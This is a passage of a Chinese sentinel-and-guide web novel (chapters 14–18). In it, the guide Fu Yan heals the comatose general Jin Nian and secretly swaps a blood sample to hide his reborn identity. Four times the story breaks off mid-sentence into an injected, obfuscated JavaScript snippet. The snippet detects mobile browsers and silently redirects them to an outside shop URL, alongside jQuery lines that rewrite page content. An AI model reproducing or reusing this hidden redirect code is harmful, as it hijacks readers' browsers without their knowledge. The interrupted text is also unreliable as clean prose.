“这个!”太可怕了,这样一尊煞神,他们惹不起,其中一个男人将“坠落星空”抛向靳年,“是有人和我们说这个很值钱我们才来抢的,还给你,饶了我。”
男人颤颤巍巍地说道。
靳年冷硬的五官没有表情,“上次袭击陆氏大楼的是你们?”
男人摇头似拨浪鼓,搓着手求饶,“不是啊,就这一次,计划也是给消息的那个人做的,我们真的就负责抢。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13579361|143093||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
靳年皱眉,那这个事情就有点奇怪了。
手里的“坠落星空”依旧熠熠生辉。
“饶了我。”男人苦苦哀求,“该说的我都说了。”
靳年将男人双手绑住,“看你的履历了。”
话音刚落,第一军团的人登上了飞艇,领头的人靳年不认识,一脸严肃,“靳年上将,现在歹徒由第一军团接管,请将东西给我们,等到飞艇落地,您的任务就完成了。”
“呵~”靳年冷笑,“我想……这个任务我应该亲自向元帅汇报,并将东西交给元帅。”
男人眉头皱了皱,看到靳年身上被鲜红浸湿的西装,最终舒展了眉头,点了点头,“可以。”
对方浴血抢回来的东西,不信任他们可以理解,虽然有被冒犯到感觉,但出于对靳年的敬重,男人还是答应了。
毕竟第一军团接到的命令是守住靳年,虽然很奇怪,但确实与“坠落星空”无关。
男人看着对方还在不停往外渗血的伤口,沉了沉,道,“长官,您需要治疗。”
靳年这时候才抬眉看了看人,“你叫什么名字?”男人对上靳年无机质的瞳孔,愣了愣,很快反应过来,回道,“长官,我叫林德,第一军团x小队队长。”
“嗯。”靳年点了点头,没再说话。
脑袋疼得要炸掉,迟来的感官铺天盖地席卷而来,疼痛反噬,靳年疼得反应已经开始迟钝。
但他仍旧强撑着自己站得笔挺,像一颗挺拔的松。
林德并没有发觉靳年的异常,只在心中对这个男人有些许改观。
靳年上将似乎并没有传说中的那么凶神恶煞,相反十分英俊,轮廓深刻,五官锋利。
只是可惜……
是个黑暗哨兵。
林德心里惋惜地摇头。
飞艇落地并没有花费太长的时间,但在看到傅言的那一瞬间还是有些恍惚。
对方靠着飞艇,双手抱胸,身高腿长,一身黑色的西装俊逸非常,一双眼睛看过来,风吹乱他的头发,模糊双眼,但就是无端让人觉得温柔深情。
靳年的脚步不自觉向着傅言走去。
“长官。”叶治姗姗来迟,看着自家长官身上被血液浸染,可能是别人的,也可能是他自己的。
叶治暗自忧愁,元帅明明都让人休息了,干嘛还派人处任务啊。
“陆氏那边已经清理干净了,军校的学生这次的任务完成的不错,已经准备回学校了。”
叶治的呼唤唤醒了靳年的神志,脚步一顿,冲着人点头,“嗯。”
他命令道,“我们回去。”
上了叶治的飞艇,靳年强撑着的一口气终于维持不住,眼前一黑,不省人事。
傅言眼睁睁再一次看着靳年走向别人,虽然知道那是对方的副官,但心里仍旧有细微的不舒服。
隔的远,傅言仍旧能看到对方的状况,很不好。
他需要治疗。
这也是傅言没有冲动上前拉住人的原因。
今天所经历的一切,让他心脏沉甸甸的,松懈不得。
不要命的打法,污染严重的精神海,执意成为黑暗哨兵的行为。
就像是在傅言心口插了无数把刀子。
无论如何,也得找机会和人说清楚,自己就是“傅言”这件事。
不管对方是什么想法,起码要让对方放弃继续做黑暗哨兵。
15. 混沌梦醒
靳年意识到自己昏了过去。这种感觉很玄妙,就好像真的拥有了灵魂,出离□□。
可他的灵魂并没有飘荡,也看不见□□的状况。他沉浮在一片黑暗之中,迷蒙的,混沌的。
如果灵魂体有手有脚的话,他想他现在应该是双手抱膝蹲着,任由黑暗将他侵蚀。
如同孩童时期的许多次那样,又或许是刚遇上傅言那会儿。
靳年总算想起来那一幕,那个叫做傅言的少年,拥有着和他的向导一样的名字,相似的五官容貌,靠立在飞艇旁。
那是他第一次见到傅言的场景。
那时候他在医院醒来,对于是怎么觉醒并打赢了绑匪,他记忆很模糊。
守着他的人见他醒了,高兴地围上来恭喜,恭喜他成为了一名哨兵。
可靳年没觉得有什么恭喜的,很不好受。耳朵里总是出现轰鸣,震得他想吐,身下的床板好像变得很硬,硌得脊梁骨都在疼。
短短一个月的时间,他都忍受着这种折磨,神经像是悬着的一根线,紧紧绷着,稍不留神就会断掉。
一头小猫似的量子兽趴在他的身边,倒是十分的活跃,上窜下跳。
这一个月的时间,来了一波又一波的人,各种仪器,抽血,检查,还有专门给他上哨兵向导基础知识课的专业人员。
他生理上的父亲一直很兴奋,不停地和他说着话,一遍遍说“可真是出息了。”
“我就知道敏丽的孩子不会太差。”
“以后陆氏就要靠你了。”
“爸爸真为你骄傲。”
他都听得烦死了,陆家是什么很了不得的家庭吗?难道还有皇位要继承?就算有,那不是还有陆明哲?
靳年对这个父亲并没有什么好感,如果真的喜欢他母亲,如果真的愧疚,又怎么会抛下妻女?
靳年始终记得他母亲死去的样子,形容枯槁,正是花一般绽放的年纪,却像是老人迟暮。四肢瘦小得几乎能见骨头,她紧紧闭着眼,似乎睡着了。
整整三天,靳年都在等他的母亲醒来,直到女人开始腐烂,散发出难闻的气味。
那之后,靳年成了孤儿。所以对于父亲,他没什么多余的想法。
感激是有的,他可以到首都星上学,可多亏了这个男人。学费他以后会还,除此之外,他不想有任何瓜葛。
这一点,也多亏了傅言。
有个婚姻登记所的工作人员上门,告诉他,他和一个叫做傅言的向导匹配度100%,已被进行强制匹配。
他父亲的想法落空,靳年以后的归宿除了战场不会有其他,并且在知道这名强制匹配的向导是个男人之后,或许是打击太大,这个父亲便一直没再出现过。
挺好的,起码靳年耳边清净多了。
之后出院,他第一次见到了他的向导。
穿惯了作战服的人一身笔挺的西装,黑发迎着风飞扬,吹得有些凌乱,比靳年高一点,脸上挂着温和的笑,眼尾微微上挑,似乎含着不知名的情愫,见到靳年,眼睛亮了亮。
他伸出一只手来,手骨修长,皮肤很白,带着些细小的伤疤和老茧,“您好,我叫傅言,以后是你的向导,请多指教。”
——
“今天怎么又是叶教官啊?”邹明凑到傅言身边小声嘀咕,“我们总教官上哪儿了?”
已经一周没见到靳年了。
傅言刚做完拉伸,收回压腿的动作,皱眉道,“我怎么知道。”
“你不是和他关系好吗?没有一丁点消息?”
傅言心里烦躁,摇了摇头。
邹明见人不想说话,也识趣儿没再多问。
别看傅言平时一团和气,但其实真惹了他生气,能下死手,还是背地里下死手。
不知道怎么回事儿,前两天和一哨兵打起来了。
这事儿闹得,向导和哨兵打起来了,不是妖精打架,而是纯肉搏,拳拳到肉。
嗯?因为什么来着?
邹明皱眉,回忆事情的经过,好像只是那个哨兵说了靳年的坏话?
“他靳年算个什么东西?没有向导的黑暗哨兵,要不是文森特元帅抬举他,他能到上将的位置?”
“一个短命鬼,有什么可狂的?”
“你们都不知道吧?他这次来当教官,就是因为之前受了伤,怕不是要不行了,才让他来军校发挥余热。”
“他倒好,带着新生跑到陆氏大厦,还让拍卖品“坠落星空”失窃……”
当时是在食堂,人多又乱,傅言二话不说,揪起人的衣领就是一拳。
接着两个人撕打起来,邹明可看见了,傅言打人的时候,全用的是巧劲儿,打的疼,又不留痕迹。
最后两个人双双被处分,要求检讨,这才知道对方是高年级,傅言愣是咬死了是友好切磋,最后看那个高年级确实没有伤痕,反倒傅言俊美的脸庞,落下一个硕大的黑眼圈。
最后只要求写检讨,处分免了,但下不为例。
邹明回过味儿来,发现傅言他真的,他超爱。
这小子绝对对上将有意思,不然也不会叫这名儿,司马昭之心昭然若揭。
这很不寻常,靳年不是那种能旷工一周的人,作为总教官,即使不是他带教的时间,他也会到场。
但已经一周了,想到之前对方身上的伤,傅言就说不出的烦躁,恨不得立刻闪身到人的跟前。
但现在就算他想去看靳年,也没有立场。
——
傅言做梦了。
他意识到这是一个梦。
梦里是靳年刚被她接回来那阵。
其实对于强制匹配傅言一直都没有什么实感,加上那段时间他很忙,很多事物都需要他去处理。
文森特那个匹配度60%的哨兵状态很不好,于是一直待在那个哨兵身边。
以前可以由副官暂时代理的工作一下子堆积到他的头上,傅言本身就不爱处理这些,忙起来便什么都顾不上了。
他下楼喝水的功夫,看见楼下客房的门大大开着,屋里漆黑一片,和客厅的明亮形成巨大的反差。
傅言这才想起,他接了个哨兵回家。
“咚咚咚——”
傅言手重新从厨房端了杯热牛奶,敲了敲半开的门,动作很轻柔,他知道哨兵五感敏锐,或许他下楼,他的脚步,对方早已察觉。
“我可以进来吗?”
并没有得到回答,但总归也没有拒绝
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13579362|143093||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
他年幼的哨兵蹲坐在床头,手臂搭在膝盖上,下巴搁在胳膊上,一双黑沉沉的眸子,即使在黑暗里也闪烁着微光。
“还没睡?要不要喝一杯热牛奶再睡?”傅言声音柔和,将牛奶放在床头柜上,“长高。”
“难受,睡不着。”
长久没有说话的嗓音十分沙哑。
“你是我的向导。”
傅言点头,不太明白这句话都含义,“嗯。”
“向导不是可以让我不难受吗?”傅言注意到少年的眼眶微红,不知道是难过还是熬的,少年脸色变换,最终扭过头,蜷缩着身子躺在床上,脑袋埋进枕头里,声音闷闷的,“……算了……”
傅言意识到,这还是个孤僻又傲气的少年,他顿时因为短暂地遗忘对方而感到愧疚,同时升起了一种责任,他道,“抱歉。是我的疏忽。”
说着,傅言弯下腰,在少年额头落下一个轻柔的吻,“睡吧,有我在。”
记忆里,因为这个吻带着精神力,算是一个浅浅的精神标记,少年很快便沉入梦乡。
但这次不同,傅言离开的步子没能迈出去,就被扯住了衣袖。
刚才还以自我保护姿态蜷缩着的人,一身的鲜红躺进他的怀里,拉扯着他的衣襟。
黑发变成了银色,少年的身体骤然拉高,一双眼睛半黑半红,跳动着,闪烁着。
怀里的人张了张唇,“傅言,我疼。”
靳年是不会说出这样的话来的。
所以这是梦。
可是梦里的他说疼。
傅言猛地惊醒,心脏剧烈地跳动着。
这个梦像是某种预兆,傅言紧紧捂着自己的胸口,森森缠绕着他的脖子,也同样十分躁动不安。
——
“还是不行吗?”叶治焦急地扯住向导医生的袖子,这名向导和靳年的匹配度高达80%。
向导摇头,“靳年上将的精神壁垒太厚,我的精神力根本进不去他的精神海,做不了疏导。”
向导叹了口气,“还是再找找别人吧。”
叶治急得团团转,这已经是今天的第三个向导了,此前几天也一直有向导尝试给靳年做疏导,都没有成功,“医生,要不您再试试,目前您的匹配度是最高的,一定能有办法的,对吗?”
他急于得到肯定的答案,将向导的手腕捏得生疼。
虽然很理解对方的心情,但向导还是摇摇头,“抱歉,我做不到。”
“元帅。”
“长官好。”
门口的声音嘈杂,打破了叶治和向导的对峙。
叶治见到来人,放开向导的手腕,立正行了个军礼,“元帅。”
中年男人点头,“靳年怎么样?”
“报告元帅阁下,很不好。”
文森特闻言走到靳年的床前,银发冷峻的男人就像是睡着般。
“向导呢?找了吗?”
“已经找过了,长官的精神壁垒太厚,向导无法进行疏导。”
文森特转身,视线如同利刃刺在叶治身上,“医生怎么说?”
叶治看病床上的人眼神闪烁,嗓子干涩,艰难道,“如果一直这样下去,可能……脑死亡。”
16. 昔日故人
“真的所有向导都找了?”文森特眼睛眯了眯,“我记得这次有个学生,和靳年好像很熟?”
“你们长官还送了他一台机甲。”文森特眼神如刀,一脸的威严,叶治虽然不知道对方的意图,但碍于身份,还是点点头,“是。”
文森特斜扫他一眼,冷哼一声,接着状似无意问道,“我听说他叫傅言?量子兽是什么?”
“这个……”量子兽并不是每时每刻都放出来,通常也不会有人刻意去关注一个人的量子兽,除非这两个人的匹配度很高,亦或者量子兽是天敌,叶治被问的有些懵,迟疑半晌,不确定地回道,“似乎是蛇。”
文森特眼睛微眯,眼睛一暗,唇角勾起,笑得一派温和,上前重重拍了两下叶治的肩膀,“让来他来见我,看看我们靳年上将是不是又遇到了个良人。”
说出的话带了些戏谑,似乎只是单纯关心下属的感情。
叶治却直觉不对劲,似乎遇到了什么危险,后背惊悚得汗毛直立。
他抬头看向让他恐惧的来源,文森特元帅依旧是威严不失温和的样子,背着手,“怎么?有什么问题?”
“没。”叶治摇头,紧接着站直身体,“是,元帅阁下。”
或许是他想多了吧?
叶治的到来和傅言的想法不谋而合,他正愁找不着机会见靳年呢,这不就是瞌睡来了送枕头?
两个人吗不绿匆匆往靳年的病房走,傅言听叶治说着,突然脚步一顿,“你说文森特……元帅要见我?”
一直时间险些没转换过来,元帅两个字加得有些生硬。
“为什么?”
我也想知道为什么,叶治暗自嘀咕,非常严肃地回道,“你可以自己去问。我只管完成上官的命令。”
傅言被人一噎,颇为意外地多看了叶治两眼,靳年这个副官,好像对他有不小的敌意。
傅言轻轻点头,“是。”
说实话,他并没有做好现在就和文森特见面的准备。文森特以前是他的副官,从很早开始就一直跟着他,自然也见过他年轻的时候的样子。
这不是他担心的,他最担心的是还没有查明白的死因……
没有多余的时间抗拒,傅言就被带到文森特面前。
这人一身笔挺的军装,四十来岁的样子,鬓角微霜,不怒自威。
“元帅阁下,这就是傅言同学。”叶治没有注意到傅言的异常,将人往前推到文森特面前。
文森特眯着眼审视着来人,“你就是傅言?”
“是。”
“你和我的长官年轻时长得很像,他也叫傅言。”
意味不明的话,带着点冷意。
“这算不算一种缘分?”
傅言抬眸,对上人勾起的嘴角,没有回答。
文森特的手掌落在傅言的肩膀上,轻轻的,却如同泰山压顶,“小同学,你的资质不错,你们教官很看好你。”
“你和你的教官关系怎么样?我听说这次任务你们的配合还不错。”
文森特笑得温和,如果不知道的,会以为他是真的在关心下属。
但傅言是他曾经的长官。
他在施压。
印象中文森特虽然也是个温和的人,五年的时间,坐上元帅的位置,或许没少和联邦议会那帮人勾心斗角。
总之,现在的文森特,傅言看不透。
“还好。”傅言选择了模棱两可的回答。
文森特目光落在傅言的脸上,似乎在考量他说话都真实性,即使有所准备,看到那张肖似的面容,他还是为之一震,眼神闪了闪,收回搭在傅言肩上都手,背在身后,叹了一声。
“不知道小同学愿不愿意救你们教官一命?”
傅言三分的惊讶,装成了十分,很符合一个十几二十岁少年的性子,“什么?”
“这次任务,你们教官受了很严重的伤,他是黑暗哨兵,如果没有向导的疏导,可能就会醒不过来了。”
文森特悠悠看了傅言一眼,企图看出他表情是否有异样,但除了惊讶担忧之外,看不出别的什么。
傅言握拳,问道,“阁下,我可以做些什么?”
“靳年目前很排斥向导,有着很厚的精神壁垒,但我们仍旧在尝试。”文森特叹了一声,扭头对着傅言道,“所以你愿意做一个匹配度测试吗?”
文森特的目光如炬,似乎洞察一切,要将傅言盯出个洞。
傅言沉默良久,眉头紧锁,似乎在考量,最后暗自握拳,抿了抿唇,干涩道,“可……如果失败了?或者就算匹配度够了,但是教官是黑暗哨兵,疏导的时候……失控了怎么办?”
“而且……也不一定会成功。”
文森特眯了眯眼,温和地笑笑,复又拍了拍人的肩膀,“这些不用担心,我们会保护你的安全。同样,如果能让靳年醒来,自然也不会亏待你。”
傅言还是皱了皱眉,但对上文森特施压的目光后,良久点点头,“好……好吧……”
文森特这才露出满意的微笑,“傅言同学,感谢你为联邦做出的贡献。”
傅言被带入了旁边的治疗室,先是抽了血。
一旁年过半百的向导医生看了眼针管里的血液,将其递给旁边的人,傅言一颗心剧烈跳动着。
如果用他的血液去查他和死去“傅言”的基因信息,那不就摆明他们是一个人吗?
向导医生一副老学究的样子,“请将你的量子兽放出来。”
傅言闻言点头,森森咻一声攀上他的肩膀,一条不到两米的小蛇,身上带着绿色的花纹。
“森蚺,幼年体。”向导医生说着,旁边的助手负责记录。
向导医生将傅言引到一个仪器前面,“将自己的精神力放在上面。”
傅言照做,只见仪器的指针开始剧烈跳动,最后停留在8000的数值。
“精神力等级A+。”
这种机器是向导测试精神力等级的仪器,1000~3000是C级,3000~6000是B级,6000~9000是A级。9000以上则是S等级。
之后就是匹配度测试,需要将傅言的血液放在试纸上接着放入专门的仪器,就会记录所需要的基因信息,这些信息进入基因库便会通过智脑进行数据分析,再输入靳年的信息,智脑便会给出他们之间的匹配度。
仪器旁边显示屏上的数值不停跳动,起起伏伏,最后停留在97.32%。
和傅言预料中的100%有所下降,傅言微不可查地皱了皱眉,但也有可能是因为靳年的精神海污染导致的,想通这一点,傅言才将注意力放在自己的血液上面。
眼见着助理要将装有傅言血液的试管带走,傅言和森森对视一眼,并精神力外化为精神屏障,森森骤然变大数十倍。
眼前的一幕惊呆了两人,向导医生的精神体是一只小仓鼠,正吓得瑟瑟
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13579363|143093||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
发抖。
“你……你要干什么?”旁边的助理强装镇定。
“不做什么。”傅言摇头,扭了扭手腕,配上他天然上挑都眼尾,笑得有些邪肆,就像是影视作品里的大反派,他一步一步慢慢走到小助理旁边。
“别过来,别过来。”小助理频频后退。
“住手!”向导医生十分有正义感。
“砰——”
但还是慢了一步,小助理已经被傅言打晕了。
这时候傅言转身看着说话的向导医生。
医生手收撑着操作台,迎向人,“你……”
傅言凑近,摆手,“我真的什么都不做,但最好乖乖听我的话,不然……”
森森适时张嘴,“嘶——”
巨大的蛇头几乎能见把医生的整颗脑袋吞进去。
獠牙上还沾染着不知名都黑色毒液。
“嘶——”
迎面一阵劲风,医生感觉自己的脸上湿湿的,量子兽已经吓得躲进了他的精神海,他咽了咽口水,“要……要我做什么……”
傅言指着地上的人道,“去给他抽一管血,像刚才给我做的那样明白吗?”
得到指令,医生立马拿出针管,跌跌撞撞来到小助理身边,双手颤抖地掀开小助理的袖子,但抽血的时手仍旧稳。
看着眼前试管里抽好的血液,医生对着傅言道,“抽好了。”
哒——
哒——
哒——
医生只看到对方修长笔直的小腿,一步一步朝他走来,傅言的脚步如同踩在他的神经上。
医生咽了咽口水,“我……”
话没说完,人就晕了。
傅言将装有自己血液都试管销毁,将两人拉起来,精神力侵入他们的精神海,在他们的记忆里做了息肉手脚,让他们认定小助理的血液样本就是傅言的。
做完这些,傅言揉了揉发胀都脑袋,因为检测到强大的精神力,精神力等级测试的仪器剧烈跳动着,指针如同飓风一般快速扫了几圈,最后数值蹭蹭蹭往上涨,8000的数字飙升到10000,12000……
最后彻底报废,指针断裂,数据清零。
傅言收回自己的精神力,同时将两个人摆好位置,森森的尾巴尖一扫,同时精神力屏障消失。
医生和小助理也都清醒过来,小助理摸了摸自己的后脑勺,握紧了手里的血液样本,感觉好像有点记忆断片,但又似乎没有什么不对。
傅言将对方的小动作看进眼里,心下沉了沉,脸上却关切地看向揉了揉额角的向导医生,“医生,您没事儿吧?”
医生捏了捏鼻梁,摇头,“嗯。你和上将匹配度很高,等会儿带你进去见他,进行精神疏导。”
医生嘱咐道,“如果实在无法突破精神壁垒,就不要继续尝试,也不要试图强行突破。不要有任何心理负担,切记保护好自己”
傅言点头,对着人感激地笑笑,“多谢医生。”
傅言被带入靳年的病房。
另一边,基因匹配的结果也送到了文森特面前。
“元帅,根据报告来看,基因信息重合度为0.32%,意味着并不是同一个人。”
文森特放下手中的报告,身体往后靠,仰着头,轻轻嗯了一声,“出去吧。”
“是。”
等到人走后,文森特的手轻轻叩动桌面。目光落在报告上,眼睛沉了沉。
17. 靳年醒来
病房是一片纯白,像个密不透风的笼子,只在门上有个小小的玻璃窗户,用来观察房间里的情况。
天花板上的灯将病房照亮如同白昼。
靳年躺在床上,浑身插满管子,链接着旁边的治疗仪。
房间里只有靳年和他两个,傅言迈着步子靠近病床,床上的人双目紧闭就如同睡着了般。
一头银发凌乱地散着,让他看上去很乖巧,像是一下子年轻了好几岁,但这并不是什么让人喜欢的发色,这意味着靳年是个黑暗哨兵。
命不久矣的黑暗哨兵。
眉头皱起,傅言不喜欢这样的形容词,他伸出手指,轻轻覆上对方赤裸的胸膛,那里的伤口已经长好,生出新肉,但还是留下了狰狞的疤。
傅言无可奈何地叹了口气,抚上人的额头,将凌乱的发理顺。
“你啊……”
这声叹息声音轻得只有他自己能听见。
长久处在黑暗中的靳年似乎听见有人在他耳边说话,声音非常熟悉。
他抬起头来,环顾四周,但仍旧是一望无际的黑暗,他无措地张望着,“是你吗?”
无声的问句很快被黑暗吞噬,靳年又缩回了一团。
怎么可能呢?
他已经死了。
所以……
这是来接他了?
靳年将脑袋埋在膝盖上,嘟啷着,“我才不要跟你走呢。”
愈发逼近的黑暗似乎正在慢慢消退,丝丝缕缕的光透了进来,但埋着头的人根本没有发现。
傅言的精神力进入地十分顺畅,精神壁垒根本对他不起作用,或者说,靳年对他完全不设防,也有可能是上次已经做过一次疏导的关系。
不到半个月的时间,靳年的精神海污染得更加严重,几近崩溃。
傅言这次不准备再慢吞吞循序渐进,靳年的状况也不允许他这样做。
森森变成了他的成年体,在靳年的精神海用尾巴狂扫,将那些黑暗物质打散。
傅言的精神力迅捷又凶猛,几乎变成了一个小光球,既然这里一片黑暗,那就在黑暗里创造一个太阳。
这是他想到的最直接的解决方式。
傅言的精神力继续深入,终于在精神海里找到了靳年的量子兽,黑豹完全融入进黑暗里,只露出一双血红的眼睛。
他对进来的一切都抱有敌意,并且无差别攻击。
黑豹蓄势待发,前爪匍匐,后腿猛地一蹬,扑向了傅言的精神力球。
就在精神力球被它压在身下之时,傅言的精神力球化出无数精神力丝,将黑豹的四肢身体缠住。
凶猛的黑豹瞬间变成了被毛线团缠住的小猫,呆愣愣地仰着四肢,红色的瞳孔里闪过错愕。
紧接着,就在它奋力挣扎的时候,一条巨大的蛇尾从黑暗中窜出,攀上黑豹的身体紧紧缠住。
之后,巨蟒的身体显现,黑色的鳞片上点缀着绿色的花纹,蛇头张着大口,冲着精神力球叫嚣嘶吼,并一把将精神力球和黑豹的脑袋吞进口腔。
黑豹的前肢剧烈挣扎,利爪甚至将巨蟒的鳞片扣落,但森森罔若未闻,尾巴死死缠住,就像是缠住自己的猎物。
片刻,黑豹沾染了森森口水的脑袋被吐出来,眼里的红褪去许多。
对上森森瞪圆了的蛇瞳,嗷呜一口咬在森森的脖子上。
森森吃痛地“嘶嘶”两身,任由它咬,反正都是蛇鳞,没事的,没事的。
黑豹咬了一嘴冰凉的鳞片,抬起脑袋,嗷呜又是一口咬在蛇信上。
“嘶——”
森森一个激灵,蛇瞳里闪着泪花。
一脸无辜。
“嘶……”老婆为什么咬我?
傅言无语。
察觉到靳年精神海的震动,意识到靳年可能要醒过来。
“走了,森森。”
“嘶——”不要!
森森不乐意地拍了拍尾巴尖。
傅言头疼,重复了一遍,“走了。”
森森一脸不舍地放开黑豹,尾巴尖在黑豹的脑袋上轻轻戳了两下,像是在安抚。
“嘶……”老婆债见!下次再来看你哦~
“唔……”
靳年觉得自己好像睡了很长的一觉,但却睡得很好,一身轻松。
明晃晃的天花板刺的他眼睛有些疼,靳年虚了虚眼睛,很快,便有一双手覆在眼睛之上,手指修长白皙,骨节分明,是一双很好看的手。
“教官,你醒了?感觉怎么样?”
声音清朗,如同清泉潺潺。
靳年将视线落在手的主人身上,最先注意到的就是对方的眼睛,眉毛细长高挑,眼尾上翘,温柔又多情。
靳年皱了皱眉,“你……”
话还来不及说,又被鱼贯而入的人群打断了思绪,最先进来的是医生,紧接着是他的副官叶治,再后面,竟然是文森特。傅言瞬间被逼到了角落里。
靳年撑起身体,挣扎起身,“长官?”
文森特按住靳年的肩膀,“躺着吧,你才刚醒。”转头冲着旁边给靳年做检查的医生问道,“他的身体怎么样?”
“目前已经没什么问题了。”医生回道,“但是精神疏导到底是治标不治本,最重要的还是找一个向导进行深度标记。”
“嗯,我知道了。”文森特点头,冲着靳年不赞同地挑眉,“你都听见了吧?”
“嗯。”靳年轻请嗯了一声,没有什么反应。
“这个,就是给你做疏导的小同学。”文森特侧身,露出身后的傅言,并在人的肩头拍了拍,“我听说你很看好他,我也觉得不错,而且和你的匹配度不低,更何况……”
“元帅。”床上的靳年握紧了拳头,被子被他捏在手里,布料被攥出了褶皱,他打断了文森特的话,“我并没有找向导的打算,您知道的。”
靳年和人对视,一双眼睛写满了执拗,文森特背着手,无奈地叹气,“唉,算了,你们年轻人的事情,我就不管了。”
说着又拍了拍傅言的肩膀,“但到底小同学救了你,你也该表示表示。”
“行了,这里就留给你们了吧。”
见人一副拒绝的态度,文森特也不打算在这里碍眼,带着人离开。
“长官啊,你吓死我了。”没有了大领导,叶治放松下来,一膝盖跪倒在地,趴在靳年的病床上,双手死死抱着人的胳膊。
靳年推了推,没推动,还是旁边的傅言拉了一把,叶治才想起自己在外人面前的形象,但还是一脸泫若欲泣地看着人,“长官,没有你,我们可怎么活啊!”
靳年揉了揉眉心,醒来时的轻松彻底不在,被他哭的烦躁,“行了,我又不是死了。”
他摆手,“你先回去吧。”
“长……”叶治还打算说些什么,对上靳年的凌厉的眼刀,瞬间噤声,正襟道,“是,长官。您早点休息,早日康复,最近堆积都事物有点多,需要您处理。”
靳年无语地勾了勾嘴角,“知道了
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13579364|143093||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,滚!”
“好嘞。”
看完了整出戏的傅言觉得有些新奇,并对靳年“上将”的身份有了些实感。
也是已经有了权力地位,并被人信赖和追随的人了啊。
靳年将视线落回傅言身上,“你也出去吧。”
可惜,傅言没有听从他的安排,而是坐在旁边的椅子上,椅背朝前,一脸无辜,“为什么?”
哪有那么多为什么?靳年皱眉。
“我给教官做了疏导,我们的匹配度高达90%以上,我为什么不能成为教官的向导?”傅言似乎是真诚发问,但他的眼睛冲着靳年微挑,透露出那么点不正经来。
“而且……我也很喜欢教官。”
靳年语塞,脸上的表情微变,耐下性子道,“你也听到了,我没有找向导的打算。”
傅言手搭在椅背上,轻轻托着下巴,“为什么?是……因为……傅言上将吗?”
“其实……”傅言从椅子上下来,迈步到人的身边,轻握住人的手腕,正要说什么。
突然——
一缕似有若无的精神力丝探了进来,傅言将要说的话咽了回去,心里咒骂,僵硬地改口,颇有些豁出去都架势,“我……可以做傅言上将的替身。”
“把我当他的替身吧,教官。”
“你疯了吗?”
如此惊世骇俗的话,靳年觉得这人简直疯了,猛地甩开人的手,结果被人越握越紧。
傅言眼底深情地仿佛他们是上辈子的情人。
“教官,我也是傅言,你可以把我当做‘傅言’上将,我不介意的。让成为你的向导吧,不要继续做黑暗哨兵了。”
最后一句话,也是傅言最想说的,他不想靳年再这样损耗自己的生命力了。
他,会心疼。
察觉到人眼底的伤感,靳年突然失了声,这真的是一个见过几次面的人,会有大收获情绪吗?
“你……”
“教官?”傅言眨了眨眼,似乎在期待他的回答。靳年压下那惊世骇俗的想法,心里自嘲,他可能也是疯了。
为什么会觉得这个人就是傅言啊?
他已经死了。
靳年深吸了一口气,也不再挣扎要从对方手里挣脱,轻轻揉了揉发胀的额角,他叹了一声道,“不是他的原因。”
“那是什么?”傅言眉头微跳,沉下了声音,重复问道,“那是因为什么?”
“因为我不想和人绑定一种关系。”
靳年的声音像是被风吹过来的,有些失真,“这种向导和哨兵的标记,一辈子绑定在一起,一方的离开会给另一方造成深刻的影响……”
他再次坚定地重复,带了些郑重地看着人,“我不想要这样的关系。”
傅言对上了对方红色的瞳孔,在里面发现了微不可查地痛苦。
如同泣血。
傅言瞬间哑了嗓子,双唇嚅动,却什么都说不出来。
或许是怕人尴尬,靳年勾了勾唇,“我自己也很好不是吗?”
他用手掌揉了揉傅言的头,这一刻靳年竟然有几分温柔,分明这个词从来都和他不沾边,他循循善诱着,“你还年轻,会找到属于你的哨兵的。”
“我……”他顿了顿,自嘲般勾了勾嘴角,“就算了。”
如果承诺不能遵守,如果注定身边的人都会离开,那就孑然一身吧。
一个人,也没什么不好,本来……
就一直都是一个人啊……
18. 我找傅言
“我不同意!”
靳年落寞的眉眼刺痛了傅言的心,想也没想拉住人的手腕,将人禁锢在怀里。
突如其来的动作激发了靳年的条件反射,手腕一翻,用了大力反身将人压/在床上,一双眼睛闪着狠戾的光,居高临下地看着他。
